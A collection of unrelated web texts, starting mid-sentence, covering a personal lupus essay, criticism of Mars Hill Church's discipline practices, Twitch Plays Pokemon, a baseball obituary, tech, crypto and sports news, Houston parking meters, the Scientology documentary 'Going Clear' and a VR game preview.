part of my life. I had married, had a beautiful daughter and was working my dream job (CNN) and finally felt like I was walking in my purpose. Abnormal levels of waste can build up in the blood, and edema is often the first sign of lupus nephritis. I began to have horrific migraines, excruciating nerve pain down my left arm, and bruises and rashes started to appear more and more often. Initially, I thought I was just tired and it was the allergies and the bruises. I simply attributed it to being anemic. This was until my esophagus began to feel as if it was closing up. I went to a physician, and he said I had a tumor on the shoulder and that must be causing everything I was feeling. When I went to the surgical oncologist, she said "it's not cancer" and referred me to an amazing internist. I had already gone through the gamut of diagnoses: leukemia, thoracic outlet syndrome, sarcoidosis. I was completely over the diagnosis portion of the process. My life had become work, bed and repeat. They ran multiple tests. I remember the appointment like it was yesterday. When I came back in for my follow-up, I was told I had lupus. A disease that has no cure. To me, that diagnosis was not a death sentence, but a sentence to feel the way that I felt at the moment for the rest of my life. I felt pain, I felt exhausted and I was not me. Having lupus has been like having a horrific hangover while doing two-a-day workouts -- #exhausting. No one knows what is wrong unless you tell them. There is no escaping the pain, and the only way out is to sleep or die. I've felt like lupus at times has sucked the life out of me. It's shifted my priorities, taken away many of the things I love because I'm stuck in a holding pattern just treating the symptoms. Never being cured. Fighting this disease has been no easy ride. The disease has affected my brain, GI system, lungs and heart. I take twelve medications to get through the day. Those drugs include chemotherapy, an antimalarial, a beta-blocker, an anticonvulsant, chemotherapy and a monthly infusion of a biological drug. Only one of these drugs is specifically meant to treat lupus. When people see me, they always say, "You don't look sick." This has sort of been a gift and a curse for me. On one hand, I didn't want people to look at me as if I had a disability. On the other, I wanted people to know what I've been able to accomplish in spite of the disease. It's an invisible fight for me, but now is my time to make some noise so we can find a cure. If no one is aware of my struggle, we can't get there. I want me back, and I've realized that every breath I take is blessed with a responsibility. A responsibility to raise awareness about life with lupus and the need for a cure. Every day, this is what keeps me going. JUST WATCHED Nick Cannon takes on lupus Replay More Videos ... MUST WATCH Nick Cannon takes on lupus 01:53 Lupus is one of America's least recognized major diseases, although 1.5 million Americans are living with it. Research is not keeping pace with the research for other diseases of similar scope and devastation. A study conducted by the Lupus Foundation of America found 72% of Americans from 18 to 34 (those most at risk for lupus) have either not heard about lupus or know nothing more than the name. In the past century, only one drug has been developed and approved to treat the disease. With the ebbs and flows of the economy, this disease has taken the backseat to research investment priorities. -There’s hardly a week that goes by without Pastor Mark Driscoll of Mars Hill Church in Seattle, Washington, saying something offensive and incendiary; whether it’s giving bad marital advice through his latest book, trashing his definition of “effeminate” worship leaders, or demonizing sex and sexuality by associating pornography with Ted Bundy, this guy tops my Official Douchecanoe List. He delivered again this week, when an ex-member of Mars Hill tentatively shared the horrifying story of his brutal excommunication from the church. To be fair, Driscoll himself was not the perpetrator of this particular injustice, but I cry foul on the leader of any organization who would choose to represent itself by such principles. Part of the reason that Christianity can be so divisive is the belief that, as a Christian, fellow church-goers are appropriate partners and friends, while you are to distance yourself from non-Christians so as to not “fall into temptation.” As I’ve written before, my own youth group (and my husband’s, too, in a completely separate church three hours away) illustrated this by having a kid stand on a chair and then seeing if it was easier to be pulled down from the chair or to pull another person up. This was supposed to show us the danger of consorting with non-believers, and the potential for us to be dragged downward into their life of sin. I wish I was joking. For this reason, many sects of Christianity are incredibly insular, placing enormous pressure on the believers to stay within the church network, and punishing those who dare to stray. Of course, this also means that removing or being removed from that network can have devastating effects on human lives, as an individual may find themselves literally alone, abandoned by the very people they loved, respected, and spent years developing relationships with. So it is with Andrew, who made a major mistake by physically fooling around on his fiancé. He felt awful about the situation, confessed to his fiancé (the daughter of one of the church’s elders), and when that failed to resolve the hurt, confessed to an acquaintance, part of a small group at Mars Hill in which he was involved. They called him a “predator.” Why? “Because Pastor Mark teaches that women are “weaker vessels,” and therefore, when a girl and boy engage in consensual sexual activity, it is always assumed that it’s the man’s fault because he failed to lead the woman (or “weaker vessel”) toward righteousness.” The church began a grisly process of ostracizing the guy, forcing him to go to meeting after meeting with church leaders, forcing him to confess the minutiae of his “sexual sin” –- including any physical parts of his relationship with his fiancé –- and pressured him into signing a “Church Discipline Contract”: Disciplinary procedures are quite common for church leaders –- pastors, elders, and deacons, but this is the first I’ve heard of such an extensive, invasive, and ugly method for church attendees. And it just gets worse. After being emotionally manipulated and abused by the very group members he was supposed to trust, Andrew came to the painful conclusion that he could no longer continue attending Mars Hill. He sent them this email, explaining why he would forego signing the disciplinary contract: “After extensive prayer and careful consideration, I have come to the conclusion that Mars Hill is not the place that God has for me to be right now. Therefore, I respectfully decline your help in this next stage of my life. I will not be returning to [name of community group leader’s] CG, and will not be attending Mars Hill anymore. Thank you for your continued prayers.” In the most respectful way possible, Andrew removed himself from a destructive, abusive environment. In response, group leaders informed him that they would have to “escalate” the church’s disciplinary proceedings, in essence saying, “wait, we’re not through punishing you yet!” The email that Andrew received in response said this: “If this is your final decision, you will also need to know this will not be our final communication as this is not an instance where you can walk away from the mess you have helped create and leave many issues unaddressed.” In a disgusting turn, their apparent idea of further communication consisted of a back-biting document posted to The City — what Andrew describes as the “Facebook for Mars Hill members.” However, his login information had been blacklisted from The City, and he only discovered the letter after a friend from Mars Hill had informed him. How’s that for Christian love? And you can probably just imagine, if believers and church members are treated with this sort of bullying and manipulation, what they think of us atheists. Andrew, I’m glad you’re out of that toxic environment. You deserve much, much better. We all do. -Give an infinite number of monkeys an infinite number of typewriters and they will type the works of Shakespeare. Give 100,000 monkeys a single Game Boy running Pokemon Red and what you have is a brilliant social experiment. Twitch Plays Pokemon " uses Twitch.tv to live stream an emulated version of Pokemon Red that is played by translating messages sent in Twitch's chat system to commands on the virtual Game Boy. Post "left" to the chat, and 20 to 40 seconds later (due to the lag) the player moves left. Likewise with other commands. What's incredible is that after tens of thousands of players have sent thousands of messages every minute to the game, they have made significant headway: battles won, gym badges awarded, and Pokemon trained. Even in this seemingly chaotic frenzy, progress is made, albeit slowly. The game is riddled with complex mazes and puzzles the player must overcome. These areas are being conquered, but at an infuriatingly inefficient pace. Hours are spent walking into walls, using incorrect tools, and even throwing away useful items. One step forward, a hundred steps back. A more decisive way of sending commands was necessary to make gameplay more meaningful, so five days into this experiment a new mode was added: anarchy and democracy. Twitch viewers can vote for their preferred mode by posting "anarchy" or "democracy" to the chat. In anarchy mode the game proceeds as usual by accepting every command, but when players vote in democracy mode, the rules change. The system tallies up the requests, and after a 20-second interval, the command with the most votes gets executed. In this mode, players can also stack moves into a single command, such as "left2down3." Gameplay slows to a crawl when the player only moves every 20 seconds, but meaningful progress can be made. The pattern of these modes being voted in is predictable. During normal gameplay, anarchy is the top choice because of the fast-paced, entertaining gameplay. But during complex puzzle sequences and important battles, the chat calls for "democracy! democracy! democracy!" Interestingly, without a central figurehead dictating decisions like this, a majority of the players agree to collaborate to reach a certain goal. Not everyone is keen on Twitch Plays Pokemon being a democratic system, though. Pro-"anarchy" players submit "start9" to the messaging system to protest this new mode. Start9, if executed, calls the start menu nine times, effectively bringing the game to a halt in a beautifully simple, passive, and powerful protest. Twitch Plays Pokemon is built on an unsophisticated mechanism. Players submit a move that is then executed on screen. Zoom out, however, and we can observe some interesting things. Playing in "anarchy" mode makes for a fast-paced and fun experience, though players make very little progress. Democracy mode is dull and predictable, and while progress is made, it’s slow coming. There is a deep trade-off here. As I watched, it was truly astounding when players made progress in anarchy mode. Players celebrated every achievement because the odds were so out of favor. When voting took place, I lost interest because my suggestions felt irrelevant. If I thought we should move up and not left, I was out of luck if outvoted. The game slowed to a crawl and I suddenly had less say. No one gave up in anarchy mode. There was always a beacon of hope that even though we were walking into walls, we would prevail. And eventually, we did. Everyone acting in their own interests, even if that interest was derailing the game, worked. While Twitch Plays Pokemon is a fascinating social experiment, players have no skin in the game. Other than some wasted time watching the stream (and inevitably explaining it to friends and coworkers), voting at the control is costless. But what if five moves cost a dollar? Would anarchy mode be more structured and deliberate, with less throwing of random moves in place? Perhaps, but 70,000 people wouldn’t tune in to take part. The trolls, for example, might not be as willing to spend their hard-earned bones to derail the game. Save for needing a free Twitch account, any viewer can contribute without system-imposed alienation. Still, this experiment can be better. The 30-second delay between submitting a move and its execution is due to technological limitations, meaning, consequently, your appropriate “left” may not be useful 30 seconds from now. Without that delay, moving through the game may be more effective. Players have already self-started communities to discuss strategy and gameplay. These communities are free and open, sans figurehead. -Betty Jane "Moe" Moczynski played for the Rockford Peaches All American Girls baseball team in 1943. (Photo: Doreen Davidson) Betty Jane “Moe” Moczynski, one of the original players in the All-American Girls Professional Baseball League in the 1940s, has died in New Berlin at age 91. In 1943, the Milwaukee native joined the league, which was created out of fear that World War II would interrupt Major League Baseball. She played one season for the Rockford Peaches, based in Rockford, Ill., and then went to the Chicago Bluebirds, in the National Girls Baseball League, where she played until 1947. The Rockford Peaches were the inspiration for the movie “A League of Their Own,” which starred Rosie O’Donnell, Madonna and Tom Hanks, who shouted the famous line, “There’s no crying in baseball!” Moczynski, who died Wednesday, was a catcher and an outfielder. In her rookie year with the Rockford Peaches, she drove in five runs in one game, one short of the record that year, said her niece, Doreen Davidson. "She said the movie was pretty close to what really happened. The players had to go to etiquette classes, and they had to wear those skirts which made it no fun sliding into base," Davidson said. “When the movie came out, (in 1992) she really started talking about her time in the All American Girls league. From that point on she was a celebrity,” said Jeff Cwiklinski of Milwaukee. Moczynksi was best friend and companion of Cwiklinski’s great-aunt, Christina Stroik, who died in 2010 at age 82. In addition to being a talented athlete, who went on to coach softball teams for many years, Moczynski is remembered as someone who inspired people to take chances and try new things. “She was fearless, strong, determined and very funny. She always encouraged me to go after anything I wanted to achieve,” said Jennifer Cwiklinski, Jeff’s sister. “She was very encouraging to me as a young woman,” Jennifer added. NEWSLETTERS Get the NewsWatch Delivered newsletter delivered to your inbox We're sorry, but something went wrong Todays top news delivered to your inbox Please try again soon, or contact Customer Service at 1-844-900-7103. Delivery: Mon - Fri Invalid email address Thank you! You're almost signed up for NewsWatch Delivered Keep an eye out for an email to confirm your newsletter registration. More newsletters Moczynski worked nearly 40 years at the former Delphi Automotive plant in Oak Creek, where she was a plant supervisor. She was a Milwaukee Brewers fan, a Packers fan and she loved animals. “She had quite a life after baseball,” Jeff Cwiklinski said. In May 2003, she was inducted into Miller Park’s Wall of Fame along with Carl Long and Jim Robinson of the Negro League, and Mary Froning-O’Meara, also of the All-American Girls Professional Baseball League. “She gave a wonderful speech that day,” Jeff Cwiklinski recalled. She’s remembered for having a great sense of humor. “She used to do silly things once in a while and would then laugh at herself. That’s what I learned from her, that it was OK to mess up sometimes and laugh about it,” said Debbie Yanke, a niece of Christina Stroik. “She was also a very sensitive person who always wanted to do something nice for other people. That’s how I will always remember her,” Yanke said. ARCHIVE: Re-enacting a league of their own For the last seven years, Moczynski lived at LindenGrove Communities home in New Berlin, where more than a few residents had her 1943 Rockford Peaches baseball card. “When she talked about baseball, she smiled a lot,” said Mary Murphy, a LindenGrove supervisor. "She was very pleasant, quiet, and I think what really made her happy toward the end of her life was sharing a room with her sister. I think that made both of them very happy," Murphy said. Moczynski is survived by relatives and friends. Betty Jane “Moe” Moczynski Funeral services will be held 12:30 p.m. Tuesday at the Bruskiewitz Funeral Home at 5355 W. Forest Home Ave, with a visitation from noon until the time of the service. There will be a private entombment at St. Adalbert Cemetery. In lieu of flowers, memorials to the Wisconsin Humane Society are suggested. Read or Share this story: https://jsonl.in/2wWcEpe -Those who hate to switch to data while taking a cab can now connect to free Wi-Fi in Vancouver. Telus has joined forces with Yellow Cab to provide users with free Wi-Fi in its Vancouver fleet. This will be the first time free Wi-Fi has been offered in taxis anywhere in Canada. “There’s no doubt about it, Vancouverites love to stay connected,” said Anee-Marie LaBerge, Telus vice president, brand and marketing communications. “Whether people are jumping in a taxi for a quick trip or a long ride, it’s the perfect time to catch up on email, post a selfie, stream some new music or video conference with a friend. Vancouver is Telus’ hometown and we believe that offering free Wi-Fi in taxis is a great way to offer added value to our customers and neighbours.” In the coming weeks, Yellow Cab’s 350 taxis will start offering the free Wi-Fi, which will be providers to users regardless of who their mobile or Internet providers are. -sorry mania i stole your formatting osu!catch super gimmick mapping contest Introduction / Rules Have you ever wanted to map something or seen maps bend the rules to the utmost to where the most creative minds of CTB could be displayed? Today, I'll be announcing the arena where the top talents of CTB mapping will battle it out to create the ultimate map. A map which has nothing to hold it back from being everything it can be. If you're a fan of crazy maps like jujutsushi, brynhildr, or any other maps that masterfully break the rules, then this will be a sight to behold. We don't have as many methods as the other modes to do something as gimmicky as they can, but let's see how this goes :^) The rules are simple. Submission Rules You will have only a month to map the song which is handed out. You can ONLY use this song and ONLY the .osz which is given to you by this contest. You're only allowed to submit the .osz with the background provided by the staff. This is to prevent judges from identifying you by your love live background. The map can only be a Catch the Beat osu!catch difficulty. This means that the map can NOT be a standard convert. The map must be passable. Any map that creates a scenario which instantly fails the user or crashes the game client will be instantly disqualified. Nothing NSFW can be used at all. The difficulty MUST be named [osu!catch > CTB]. Judging Rules Only the gameplay can be taken into account. Something with a god tier storyboard but only 1 circle should NOT be acceptable. You are not allowed to submit anything of your own as a judge, or collaborate with any participant of this competition in ANY way. Your judgement must be fair in a way that does not prioritize maps of a certain style over others. This is a contest of creativity, not a contest of who can appeal to your BN ranking criteria the most (nub afb). Beyond these rules anything goes. You can edit the .osu in any way you want past what is not allowed above. Be sure your map is submitted in .osz form to whoever is selected to pass the difficulties to judges. Have you ever wanted to map something or seen maps bend the rules to the utmost to where the most creative minds of CTB could be displayed? Today, I'll be announcing the arena where the top talents of CTB mapping will battle it out to create the ultimate map. A map which has nothing to hold it back from being everything it can be. If you're a fan of crazy maps like jujutsushi, brynhildr, or any other maps that masterfully break the rules, then this will be a sight to behold. We don't have as many methods as the other modes to do something as gimmicky as they can, but let's see how this goes :^)The rules are simple.Beyond these rules anything goes. You can edit the .osu in any way you want past what is not allowed above. Be sure your map is submitted in .osz form to whoever is selected to pass the difficulties to judges. Judging Criteria Creativity (25 points) - Is the map creative? Does it use the same patterns over and over again? Flow / Structure (15 points) - Does the map have some kind of structure to it? Is it just a constant back and forth 1/16 hyperspam map with no flow or direction? Technical Skill (10 points) - does the mapper utilize a style that makes the map not only creative, but challenging and fun to play? Judge's Impression (10 points) - The judge's own feeling about the map itself outside of the above criteria Bonus points (5 points) - was it hitsounded in a way that amplified the map (2 points)? Did the mapper follow the basic submission rules (please guys 1 point)? Did the difficulty settings make sense? Or were they all raised to AR10 CS7 because the mapper is a douche (2 points)? Total Points: 65 The points will be added up for a total of the combined judges scores to get your final score. The points will be added up for a total of the combined judges scores to get your final score. Prizes To be announced. I'll be looking for official sponsorship from staff about this competition, but anyone who wants to donate supporter to this will have my thanks! Schedule Preliminary Voting Stage: June 12 - June 25 .osz distribution (in this thread!): June 26 Mapping Phase: June 26 - July 31 Current Stage! Judging Phase / Prize Distribution: July 31 - August 7 Staff If you'd like to be a judge, please contact me directly. Please note I will likely reject anyone who I do not find to be experienced / mature enough to handle it. Organizer: Ascendance Judges: - Magic Bomb - Riari koliron If you'd like to be a judge, please contact me directly. Please note I will likely reject anyone who I do not find to be experienced / mature enough to handle it. Thanks to everyone, let's see how this goes -We're excited to be sharing a new bitcoin payment integration from our friends at Vodi, a mobile international messaging app available for download on Android and iOS devices. Vodi is taking advantage of the growth in mobile messaging in some exciting ways. In addition to offering free text messaging and phone and video calls, Vodi allows users to make airtime top-up payments to more than 390 mobile phone service providers in 135 countries. These airtime top-up payments can also be made as gifts to other Vodi users, opening up a convenient way for families and friends in different countries to transfer credit back and forth. Vodi also offers digital gift cards which can be redeemed at checkout through the app. Their eGift Card selection includes more than 90 offerings from brands in the United States and Mexico (with more countries to come), including Hotels.com, American Airlines, Regal Entertainment Group, and CVS Pharmacy. Headed to the store and want to get a digital gift card to pay? You can get a digital gift card in seconds with a bitcoin payment in the Vodi app. And since Vodi is using BitPay to accept payments, you can use any bitcoin wallet to pay. Mobile payments are an exciting use case for bitcoin, and gift card and top-up payments have proven to be especially popular with international bitcoin users. We're excited to continue to work with the Vodi team to explore new opportunities for bitcoin in the mobile messaging world. Want to get started with using Vodi? Download it for iOS or get it on your Android phone. Learn more about accepting bitcoin in your mobile app at https://bitpay.com/mobile. -Flyweight Ian McCall has been forced to withdraw from next month’s UFC Fight Night 37 event, and promotion officials are currently seeking a replacement opponent for Brad Pickett. UFC President Dana White revealed the change at a media luncheon in Las Vegas, which MMAjunkie attended. Featuring a light heavyweight matchup between Alexander Gustafsson and undefeated striking specialist Jimi Manuwa, UFC Fight Night 37 takes place March 8 at London’s O2 Arena. The entire 10-fight event streams on UFC Fight Pass in the U.S. Pickett, who’s won four “Fight of the Night” bonuses in six UFC fights, is currently ranked No. 5 in the USA TODAY Sports/MMAjunkie MMA bantamweight rankings. However, with losses to contenders such as Michael McDonald and Eddie Wineland during his current 3-2 run, the 35-year-old Englishman is looking to make his flyweight debut. Meanwhile, the 29-year-old McCall recently halted a three-fight winless streak (a draw and loss to Demetrious Johnson, as well as a defeat to Joseph Benavidez) with a unanimous-decision win over Iliarde Santos in August. “Uncle Creepy” picked up a “Fight of the Night” bonus for the effort. However, he’s now pulled out of two consecutive bouts after being forced to withdraw from a planned matchup with Scott Jorgensen that was slated to take place at December’s UFC on FOX 9 event. For more on UFC Fight Night 37, stay tuned to the UFC Rumors section of the site. (Pictured: Ian McCall) -STAR Melbourne recruit Chris Dawes says the maligned Demons' recent form has convinced him he made the right move in leaving Collingwood. Dawes has been forced to sit out the first six rounds of the AFL season due to a hamstring strain but will make his debut against Gold Coast at the MCG on Sunday. "It's been frustrating not being able to actually be out there on the field playing my part, particularly those first few rounds when we had patches through games when we were uncompetitive," Dawes said on Thursday. "But I look at the turnaround in effort consistently across the board just in the last three or four weeks of footy. "That if anything re-affirms my confidence that I have made the right decision coming to a team that's improving and that wants to improve." And he is convinced Melbourne is on an upward, if slow, trajectory. "I think you're going to see - even if there's the odd hiccup every now and then - constant improvement," Dawes said. Trengove out, Jones to lead Demons He said he was intent on making a difference to the side, both on the scoreboard and in terms of leadership. "I won't just be planning on getting through, I'll be bringing a lot of effort and leadership to that forward line. "I'll tie up one of their big-bodied defenders and hopefully have a bit of a physical presence myself," Dawes said. "Against Carlton (last week) I thought we were really competitive and made life difficult for them, trying to rebound from their 50 (metres). "Part of the leadership I'll bring to that forward line will be driving that real defensive pressure and making it as difficult as we can." Dawes was finally let off the leash two weeks ago when he played the first of two games for Melbourne's VFL affiliate Casey and his four goals in the second hit-out sealed his AFL selection. -Monero is a leading cryptocurrency with focuses on privacy and decentralization. Though it has a publicly-verifiable blockchain, it protects the safety and security of the sender and recipient by obscuring information stored on it. Monero is different than Bitcoin and even other privacy-focused coins since every transaction is always private. An optional sharing of information is done off-chain. During this meeting, we will discuss the technologies behind Monero, their impact, and future improvements. Monero is a completely open-source and decentralized project that works to empower individual with powerful tools to protect their privacy. Justin Ehrenhofer has been an active Monero contributor for more than two years. He has spoken about Monero at dozens of groups throughout Europe and the United States. He heads the Monero community workgroup, which includes biweekly community meetings, monthly coffee chats, and distribution of the Monero Meetup Kits (Free Swag!!). Justin is a junior at the University of Minnesota, and he is the co-president of Crypto@UMN. NOTE: Lunch will be sponsored by Dave Kruse, Co-founder of Augment (https://www.linkedin.com/in/davekruse/). Please contact Sid Ramesh ([masked]) or Eric Orthey ([masked]) by Thursday, Dec 7 if you have any dietary restrictions. Agenda: 12-12:15 - Welcoming Remarks and Lunch 12:15-1:15 - Presentation by Justin 1:15-1:30 - Q&A and Networking -NSA director says British intelligence was not asked to spy on Trump British intelligence officials were formally exonerated on Monday by the director of the US National Security Agency from an extraordinary accusation of improper surveillance of Donald Trump. Russia hearing live: FBI director Comey says no information to confirm Trump's wiretap claims Read more The NSA director, Michael Rogers, made clear that it would have been a violation of US law to ask the British to conduct such an operation. Asked at the first public hearing into Trump’s ties to Russia whether he, or anyone else, had asked GCHQ to spy on Trump or his allies, Rogers replied: “No, sir, nor would I.” GCHQ took rare public exception last week when the White House press secretary, Sean Spicer, cited a Fox News report that implied Barack Obama’s administration had asked the UK to conduct surveillance on Trump. GCHQ, which typically does not comment on news reports, called the accusation “nonsense”, “utterly ridiculous” and an assertion that ought to be “ignored”. Rogers, his voice passionate, said that using GCHQ to effectively launder illegal surveillance on Americans would be “against the Five Eyes concept”. Five Eyes is the surveillance alliance between the US, UK, New Zealand, Canada and Australia, which include widespread intelligence sharing and mutual development of surveillance tools. GCHQ in particular is the closest intelligence partner the NSA possesses. NSA and GCHQ personnel share code, and, in several locations, physically work side by side. Their intimate nature was underscored by Rogers’ deputy, Rick Ledgett, telling the BBC that the accusation showed an ignorance of the GCHQ-NSA partnership. “Of course they wouldn’t do it. It would be epically stupid,” Ledgett said. Spicer recycled the GCHQ allegation, made by a Fox News pundit, in order to defend Trump’s 4 March accusation, made on Twitter, that Obama placed Trump’s associates under surveillance at Trump Tower. Obama has unequivocally denied the accusation, which, if proven, would mean that he had committed a felony. The FBI director, James Comey, on Monday publicly called the accusation groundless, the first time he has commented on the explosive accusation. Comey joined the Republican and Democratic leadership of the intelligence committees in finding no basis for Trump’s incendiary claim. Yet Trump has still not backed away from the accusation of GCHQ surveillance on him, even after GCHQ expressed its anger. Trump, in a White House press conference meeting last week with Germany’s chancellor, Angela Merkel, said he was merely citing Fox News. Trump joked that he and Merkel, whom the NSA had indeed spied upon, had something in common. That remark prompted Sir Peter Westmacott, former British ambassador to Washington, to accuse Trump of “peddling falsehoods”. “This is a dangerous game,” Westmacott wrote in the Guardian. “The intelligence relationship between Britain and America is unique and precious. It is critical to our shared efforts to counter terrorism.” Asked by the House intelligence committee whether the false assertions might damage the intelligence-sharing relationship, Rogers, the NSA chief said: “It clearly frustrates allies of ours.” -Some things about street parking in downtown Houston are unlikely to change: It will always require a keen eye for available spots and the courage and skill to wedge your car between large trucks. A paper receipt, however, is becoming unnecessary as the city replaces its parking meters with newer models that give drivers more options and can even send a text message alerting them that their time is about to expire. Rather than place a receipt on the dashboard indicating payment, those parking downtown can now input their license plate number when paying by cash or credit card. The machine relays the list of paid vehicles to parking enforcement officers, who simply verify the vehicle is accounted for. If drivers prefer, they can get a paper receipt for the dashboard as before. "Hopefully it is easier on our customers and it is easier on us," said Maria Irshad, who oversees ParkHouston, the parking division within the city's Administration and Regulatory Affairs Department. The first 276 meters have been installed in northern parts of downtown, primarily around the county courthouse. Parking rules have not changed, and the new meters, like the old ones, require that a button be pushed to activate them. Over the next five years, 1,054 meters - some dating to 2006 - will be replaced. The city is spending about $10 million on the new meters, which essentially pay for themselves via parking fees. Downtown visitors Tuesday said the new meters made paying for parking easier, even if finding a spot can be a challenge. "I kinda like it," said Tyra Brown, 41. "It's better than the other ones and you don't need to get a receipt." Visiting a county court to give a friend a ride, Bobby Doll, 26, said the new meters were easier to use. Step-by-step directions made it virtually automatic, he said. "You just go through the steps," Doll said. The meters being replaced were a vast improvement over old-style machines that required coins, but they also had some problems. Powered by a solar panel atop the kiosk, some of the meters had trouble staying on during "the four months without sunshine" in Houston, said Lara Cottingham, deputy assistant director in the regulatory affairs department. Paper jam People also left cups and other litter on top of the panel, disabling it, said Jerry Keeth, division manager for meter operations for ParkHouston. Paper receipts became a major hassle. Humidity and heavy rain gummed up the slot where the machine spits out the receipts. The paper jams led to broken meters and frustrated drivers. "I've tried to park downtown and both machines on the block would be broken," Roger Reese said. Irshad said the new meters were designed with a sensor to alert ParkHouston when the paper dispenser jams, which also shuts down the meter so someone doesn't inadvertently pay and not receive a receipt. Eventually, parking officials hope fewer and fewer receipts are needed. "Definitely the future of parking is your cell phone," Irshad said. Houston is not alone in moving toward cell phone payments or identifying cars by plate number, though it is a relatively early adopter of the technologies. Nearly every major city in the country has moved to parking that allows for paying by credit card, though others have stuck with small parking meters as opposed to a kiosk system. Miami and Washington, D.C., have had success in moving customers to pay-by-phone, with about 45 percent of parking revenue in Washington coming from phone payments as opposed to paying at the meter, according to the International Parking Institute. Dwindling space About 9 percent of people parking in Houston pay with ParkMobile, a smartphone app connected to the city's meters, Irshad said. A driver simply registers a vehicle, punches in the five-digit location shown on the sides of parking meters, and pays via PayPal or credit card. The app also sends warnings and allows someone to add more time to the meter remotely, provided they have not used all of the three-hour limit that applies in some places. Use of the app is especially high in areas close to college campuses, Irshad said. A 35-cent transaction fee is added with the smartphone app and pay-by-text from the meter. Booming downtown development is reducing parking space. As of 2013, the downtown area had more than 100,000 parking spaces spread across roughly 68 parking garages and 82 surface lots, along with on-street parking controlled by the city. The number has decreased as surface lots were cleared to make way for new office and residential projects. Some upcoming projects, however, include more parking, notably around the George R. Brown Convention Center where new hotels are under construction. As downtown continues to develop, reducing the need to use cars for trips within the urban core will become more important, said Bob Eury, Downtown Houston Management District executive director. Officials recently announced that the free GreenLink shuttle service will be expanded to operate a nighttime route starting next month so people can park once and explore more of downtown. On-street parking will still play a vital role, officials said, especially for quick trips. "The three hour limit is not changing," Irshad said. "If you're going to be downtown more than three hours your best bet is a garage." -The documentary also alleges that, years before her role on 'Homeland,' actress Nazanin Boniadi was set up as Cruise's girlfriend. Alex Gibney’s documentary Going Clear: Scientology and the Prison of Belief, based on Lawrence Wright’s book of the same name, premiered to a packed house at Sundance on Sunday afternoon. The Church of Scientology has denounced Gibney’s documentary in ads in The New York Times and The Los Angeles Times, as well as a promoted tweet, saying the film relies on discredited sources and implying that it is comparable to Rolling Stone’s discredited University of Virginia rape story. Below are five takeaways from the Sundance screening. 1. The Church of Scientology allegedly wiretapped Nicole Kidman’s phone. According to the film, Scientology was not keen on Tom Cruise's marriage with Nicole Kidman because her father was a psychologist, making him an enemy in the church’s view. During the marriage, Cruise distanced himself from the church, particularly when the couple moved to England to shoot Stanley Kubrick’s Eyes Wide Shut. In its effort to bring Cruise back into the fold, the church made efforts to undermine the relationship and, at Cruise’s request, allegedly hired a private investigator to tap Kidman’s phones. The church also worked to turn the couple’s son and daughter against Kidman, convincing them that she was a “suppressive person.” 2. Years before her role on Homeland, actress Nazanin Boniadi was set up as Cruise's girlfriend. The documentary details how, after Cruise’s marriage to Kidman was destroyed, the church went about to find the actor a girlfriend, alighting on a Scientologist field worker named Nazanin Boniadi. Boniadi was given a make-over – her teeth fixed, wardrobe from shops such as Burberry – for what she was told was her being elevated to work on a world stage with world figures. But it was all prep for her to meet and then date Cruise. But it didn't last. During a visit by Miscavige to one of Cruise’s mansions, the actor didn't think Boniadi paid enough respect to the leader and cut the relationship short. Boniadi then made the mistake to tell her heartache woes to colleague, who reported them to higher ups. Boniadi was punished by being forced to do menial tasks, including cleaning toilets with a toothbrush. All details are omitted from Boniadi’s IMDB profile. Boniadi left the church and became an actress. She landed on General Hospital, did a stint on How I Met Your Mother, and as the doc points out, was a key supporting player on Homeland. 3. The film suggests the church ensured John Travolta’s loyalty because it was prepared to use information gained through supposedly confidential auditing sessions to undermine him or any other member who publicly split from the organization. While the film does not explicitly state what material in Travolta’s files would have been used, it raises an implication with a shot of the cover of a tabloid newspaper purporting to reveal that Travolta is gay. 4. A former top Scientology official describes church leader David Miscavige as privately mocking Tom Cruise for his "perverted" sex life — but doesn’t elaborate. Several former officials describe Miscavige’s rise as church founder L. Ron Hubbard’s successor, and the film features abundant footage of him addressing the faithful at church gatherings. One striking example is Miscavige’s dramatic declaration of victory in Scientology’s battle with the IRS for nonprofit status, complete with a pyrotechnic display. Former church officials including Mike Rinder and Tom DeVocht then offer allegations of Miscavige’s increasing paranoia and abusiveness, recounting stories of beatings at his hands. They also describe their experiences in “The Hole,” a prison-like facility on the church’s property near the California town of Hemet, and tell how Miscavige forced them to play a crazed game of musical chairs to the tune of Queen’s "Bohemian Rhapsody." Losers were supposed to be expelled from the church, but the former members say they were so brainwashed that they fought to remain despite the abuse. Miscavige relented and let them stay. 5. The doc dramatizes how Hubbard falsely portrayed himself as a war hero to woo his second wife, Sara Hollister. But via narration of her writings, the doc shows that Hubbard abused Hollister, smacking her with the butt of a gun when he saw her sleeping with a smile on her face because he believed she was dreaming of someone else. With their marriage in trouble, Hubbard fled to Cuba with their baby daughter Alexis. He would call Hollister and announce that he had killed their daughter and chopped her into pieces, blaming Hollister for his actions. Hubbard would call later telling her the child was alive. Finally Hollister managed to flee the marriage, though Hubbard left her penniless. 6. Hubbard believed in a world much like an idealized version of 1950s America that existed millions of years ago, even with cars of the same appearance in the streets, until overpopulation led the galactic warlord Xenu to gather up souls, freeze them, send them in planes to be dropped into volcanoes on Earth and then had them blown up with hydrogen bombs, releasing their spirits into the environment and setting the stage for the evils that plague the world today. -Most VR games on Steam Greenlight are usually some sort of shovelware scam that are thrown together with little to no effort put in them. To my surprise though, developer Nordic Trolls put some time into their VR game Karnage Chronicles and posted the project to Greenlight. The upcoming VR game set for Q1 2017 is currently seeking votes on Steam Greenlight. The video for the game Karnage Chronicles is little more than a teaser trailer, but it’s all in-game footage. This means that the game is actually playable in the state that it’s currently in (despite that the devs are still fixing some things), and the video also tells us that the co-op mode is actually functional instead of the devs just saying that it’s in the game — as seen in the image below. The game is said by the devs to be a linear adventure game, but at the same time they did note that they want some aspects of exploration and secrets to be in the game. In other words, the indie devs don’t want to bite off more than they can chew and want to make a game that can be completed, but provide some substance (secrets and exploration) for VR goers to enjoy. The description for Karnage Chronicles can be read below. “What path would you choose when your world is threatened by horrors unseen and forces so strong they can manipulate Magic itself? Wield blade, bow, or the primal elements and journey through snowy mountains, enchanted caverns, and abandoned fortresses to defeat the growing army of the Shroud.“ Furthermore, Karnage Chronicles is said to be an action-heavy, co-op RPG title for VR fans. Although the devs claim that there are more enemies and weapons that will cross your path, the devs at least had the audacity to whip up some concept art to show curious gamers what other stuff is currently in the works for the game, which is visible for you to look over. You can check out the new teaser trailer for Karnage Chronicles, courtesy of Nordic Trolls channel. For Greenlight VR standards, this game blows a lot of other entries on the platform out of the water. Lastly, the game will feature 1-4 player co-op, online multiplayer, and four classes to pick from. For more information regarding Karnage Chronicles and Nordic Trolls you can visit Steam Greenlight or 